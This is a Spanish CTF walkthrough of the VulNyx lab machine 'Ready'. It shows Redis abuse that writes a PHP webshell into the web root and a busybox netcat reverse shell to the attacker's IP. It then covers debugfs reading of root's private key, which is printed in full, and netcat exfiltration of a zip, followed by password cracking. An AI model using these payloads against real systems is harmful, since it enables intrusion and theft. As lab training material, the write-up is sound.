Information

Ready es una máquina Linux de dificultad fácil de la plataforma VulNyx, fue creada por el usuario d4t4s3c y funciona correctamente en los hipervisores VirtualBox y VMware.


Enumeration

Nmap

TCP

root@kali:~ ❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.64
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-25 11:23 +0200
Nmap scan report for 192.168.1.64
Host is up (0.0010s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
80/tcp   open  http
6379/tcp open  redis
8080/tcp open  http-proxy
root@kali:~ ❯ nmap -sVC -p80,6379,8080 192.168.1.64
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-25 11:24 +0200
Nmap scan report for 192.168.1.64
Host is up (0.00032s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: Apache2 Test Debian Default Page: It works
|_http-server-header: Apache/2.4.54 (Debian)
6379/tcp open  redis   Redis key-value store 6.0.16
8080/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: Apache2 Test Debian Default Page: It works
|_http-server-header: Apache/2.4.54 (Debian)

Shell (ben)

80/TCP (HTTP)

Site

Directory Fuzzing
root@kali:~ ❯ gobuster dir -w /opt/directory-list-2.3-medium.txt -u "http://192.168.1.64/"
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.64/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
server-status        (Status: 403) [Size: 277]
Progress: 220544 / 220544 (100.00%)
===============================================================
Finished
===============================================================

8080/TCP (HTTP)

Site

Directory Fuzzing
root@kali:~ ❯ gobuster dir -w /opt/directory-list-2.3-medium.txt -u "http://192.168.1.64:8080/"
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.64:8080/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
server-status        (Status: 403) [Size: 279]
Progress: 220544 / 220544 (100.00%)
===============================================================
Finished
===============================================================

6379/TCP (REDIS)

Connect

Me conecto con redis-cli al servicio Redis sin proporcionar password, utilizando una sesión de invitado.

root@kali:~ ❯ redis-cli -h 192.168.1.64
192.168.1.64:6379> PING
PONG
192.168.1.64:6379>

Generate WebShell

Dado que existen varios servidores web en los puertos 80 y 8080, intento utilizar el servicio Redis para crear una webshell PHP llamada cmd.php en la ruta /var/www/html, y la operación se realiza correctamente.

192.168.1.64:6379> config set dir /var/www/html
OK
192.168.1.64:6379> config set dbfilename cmd.php
OK
192.168.1.64:6379> set cmd "<?php system($_GET['cmd']); ?>"
OK
192.168.1.64:6379> save
OK
192.168.1.64:6379>

8080/TCP (HTTP)

RCE

Consigo ejecutar comandos como usuario ben.

root@kali:~ ❯ curl -s --output - "http://192.168.1.64:8080/cmd.php?cmd=id" | strings | tail -n1
uid=1000(ben) gid=1000(ben) groups=1000(ben),6(disk)

Reverse Shell

Ya ejecutando comandos intento obtener una reverse shell.

root@kali:~ ❯ echo -n 'busybox nc 192.168.1.5 443 -e /bin/sh' | jq -sRr @uri
busybox%20nc%20192.168.1.5%20443%20-e%20%2Fbin%2Fsh
                                                                                                                                                                                         
root@kali:~ ❯ curl -sX GET "http://192.168.1.64:8080/cmd.php?cmd=busybox%20nc%20192.168.1.5%20443%20-e%20%2Fbin%2Fsh"

Obtengo la shell como usuario ben.

root@kali:~ ❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.64] 54692
id ; hostname
uid=1000(ben) gid=1000(ben) groups=1000(ben),6(disk)
ready

Flag (user.txt)

Consigo leer la flag user.txt.

ben@ready:/home/ben$ cat user.txt 
e5d3****************************

Privilege Escalation

Enumeration

Groups

El usuario ben forma parte del grupo disk, lo que le permite acceder a discos y particiones con privilegios de root.

ben@ready:/$ id
uid=1000(ben) gid=1000(ben) groups=1000(ben),6(disk)
ben@ready:/$ groups
ben disk

Abuse

Disk Group

Interesting Files

Consigo leer la clave privada (id_rsa) del usuario root, ubicada en /root/.ssh/id_rsa.

ben@ready:/$ df -h
Filesystem      Size  Used Avail Use% Mounted on
/dev/sda1       6.9G  1.5G  5.1G  23% /
udev            473M     0  473M   0% /dev
tmpfs           489M     0  489M   0% /dev/shm
tmpfs            98M  492K   98M   1% /run
tmpfs           5.0M     0  5.0M   0% /run/lock
ben@ready:/$ /usr/sbin/debugfs /dev/sda1
debugfs 1.46.2 (28-Feb-2021)
debugfs:  cat /root/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,02E266E7A66462FE

tTN5G66QaZHsjOSYG8pFEQqUJUC4lw+WzHs3hbml1+zuLPmnDvUapYFB/4IgQNG2
jp1tebAwENVz/CdS3paB60NB9uosYXHa60Sbi7a31Ej6QqH10UnN/NROSEhqZkt+
dUcQspoDJIvHyvdhm4lIVizfvw1i9epxY+aB9W7vscpN1HAq37WdOn62nnEccLRs
wShZgOeOLTUo5j+C0oQZDi11ZJxEFiwwCFkOqZ+ZEQgshQqgG8PjMvedwuQcFjpN
wgFyQl0ZzGTzaj1iZntc/7G1/9WqXyk3IkpICucALCaSlCZ3Oh0kJd12W27vTKdO
kBpXNU8cgjc+jbIKveFZe6+ZuMwr3Lb9p+f+m7ktcTk/AFxSObuFnHBZN52VE/F4
lVK8vR7Om8qg34REgbvkmrBttg7x4AzUsTZ1WPPJqu3VS0SGVyq8vkpA2ngHmMBC
h3Ca0Xjua55GzCFBGePrQmqOd8jKZ0W6HBfCQyGB/dGg57mKNQy1OSIR4XtFYDYN
wNGTgr4KPebWf1CYRg2nleu3DD3sezutvoVMLJdzoeaLrCPX0pdfEhBase7n72Gy
Q6zqrk07p5GQeuL3tfhBsbHqgK899IMPr2VZPwvaoibDF66UJ1unfEXiPzTTHDo9
5MTR1GK7HYnmtypx3OpCDJMFGwaJgx+o944cxX9DQ63pgwx1R34RoQRfIgqUUrsG
NhEkLvrYFMnlK/dSmouuNFvd868zBlMByQyVYoepyHGhsGDuAP4Mhx7L1Gbj4dRS
dMgfgLN0lM0G+P9QvmmX7TuH1MU1IIfZZw9dCfdUqVVKyegA2RQ7fZG9D8o3l1J0
bIj0VJE7ykqqZEndzgBGRw3bEu3/OKpJM2UFqr/pPlu1w1bVIzHrTPNI5nk6dm77
n/TqwSgU2EQDWK88Z8TORZvuoNA3FelyzxCfRC2HLv0+QrVbyY7dLf3oLH0Zq+gK
1OYVrTKbe4pu0J2R7jZw20pLWeEZPuSE3RmVwcSsVzwb6dBk5rMkwCE5gG1qNh1U
koCqtHzXveisx5I7KrvBj5RTaK/aPX/v8BS/oh8AmiQr2Pqq9K+aQScP2XYh691x
yfVoFGJrZMcG5VD3QxrgWamgcHhug2LotpRbxjc777uK/muI9rUSQLYC06H2Cdf/
kRUH9Ohf3ZrVXpcCMhuCBbOxYBr+TAGjwJIBAYuFMBqhZ4gyaZhxJMCBhQOJHy6c
xR2cUdOAUh9lY40/o0Pwf+5GWiX2u5KmzcZ9iLdJ4NtgYiYMjGMe+0G37PdCXJvG
D+VsowoqCou916TMZUKpYSkzj8q3GLSib6CumVzKDesMLaYiZTOd1ShBqTlYjorp
Dlo5vrgUFk17OS8n0gtQuavBvN+2aM6gMOgiJrXfeLjzPGoY2ypHyNlbp/JI0/Y+
DfE+2kNqriAlvZps1mllIKITk1wNPQ3PVuBW9DkvrSUW7Ye+oMK3WoiQkY4qyu+2
pN0okmXmT5ygTq9KBQUEtjU8RnY27y34nYwCQus0HCA+FfRoxDbJYl0sN2g/Mzjq
PWVlSZLxzcya8sxPBA8gto3H5BxFnTxRXbCBTjTL09imi3QMl9K1emUlG8rSpBsI
-----END RSA PRIVATE KEY-----
debugfs:  

Cracking (id_rsa)

Con RSAcrack obtengo el passphrase (shelly) asociado a la clave privada (id_rsa).

root@kali:~ ❯ RSAcrack -k id_rsa -w /opt/rockyou.txt 

 ╭━━━┳━━━┳━━━╮          ╭╮  
 ┃╭━╮┃╭━╮┃╭━╮┃          ┃┃  
 ┃╰━╯┃╰━━┫┃ ┃┣━━┳━┳━━┳━━┫┃╭╮
 ┃╭╮╭┻━━╮┃╰━╯┃╭━┫╭┫╭╮┃╭━┫╰╯╯
 ┃┃┃╰┫╰━╯┃╭━╮┃╰━┫┃┃╭╮┃╰━┫╭╮╮
 ╰╯╰━┻━━━┻╯ ╰┻━━┻╯╰╯╰┻━━┻╯╰╯
─────────────────────────────
 code: d4t4s3c   ver: v1.0.0
─────────────────────────────
[i] Cracking | id_rsa
[i] Wordlist | /opt/rockyou.txt
[*] Status   | 979/14344392/0%/shelly
[+] Password | shelly
─────────────────────────────

                                                                                     
root@kali:~ ❯ 

22/TCP (SSH)

Connect

Accedo internamente como usuario root con la clave privada (id_rsa) y el passphrase obtenido.

ben@ready:/home/ben$ chmod 600 id_rsa 
ben@ready:/home/ben$ ssh -i id_rsa root@127.0.0.1
Enter passphrase for key 'id_rsa': 
Linux ready 5.10.0-16-amd64 #1 SMP Debian 5.10.127-1 (2022-06-30) x86_64
Last login: Tue Aug 25 11:49:44 2026 from 127.0.0.1
root@ready:~# id ; hostname
uid=0(root) gid=0(root) grupos=0(root)
ready

Al intentar leer la flag root.txt, parece que esta se encuentra dentro del archivo root.zip.

root@ready:~# ls -l
total 4
-rw------- 1 root root 225 abr 18  2023 root.zip

root@ready:~# file root.zip 
root.zip: Zip archive data, at least v2.0 to extract

File Transfer

Transfiero el archivo root.zip a mi máquina local.

root@ready:~# md5sum root.zip
e72dd8ebb0227bda9e33a44abad9b23e  root.zip
root@ready:~# nc 192.168.1.5 1234 < root.zip
root@ready:~# 
root@kali:~ ❯ nc -lvnp 1234 > root.zip
listening on [any] 1234 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.64] 46200
^C  
root@kali:~ ❯ md5sum root.zip
e72dd8ebb0227bda9e33a44abad9b23e  root.zip

Al intentar descomprimir el archivo root.zip, solicita un password.

root@kali:~ ❯ unzip root.zip 
Archive:  root.zip
[root.zip] root.txt password: 

Cracking (ZIP File)

Con zip2john consigo el password (already) del archivo root.zip.

root@kali:~ ❯ zip2john root.zip > hash
ver 2.0 efh 5455 efh 7875 root.zip/root.txt PKZIP Encr: TS_chk, cmplen=43, decmplen=32, crc=68F3F801 ts=91CA cs=91ca type=8
                                                                                                                                                                                         
root@kali:~ ❯ john --wordlist=/opt/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
already          (root.zip/root.txt)     
1g 0:00:00:00 DONE (2026-08-25 11:57) 50.00g/s 1228Kp/s 1228Kc/s 1228KC/s christal..280789
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
                                                                                                                                                                                         
root@kali:~ ❯ john --show hash                     
root.zip/root.txt:already:root.txt:root.zip::root.zip

1 password hash cracked, 0 left

Flag (root.txt)

Consigo leer la flag root.txt.

root@kali:~ ❯ unzip -P "already" root.zip
Archive:  root.zip
  inflating: root.txt
  
root@kali:~ ❯ cat root.txt 
cf5***************************

Hasta aquí la resolución de la máquina Ready de VulNyx.

Happy Hacking! 🙂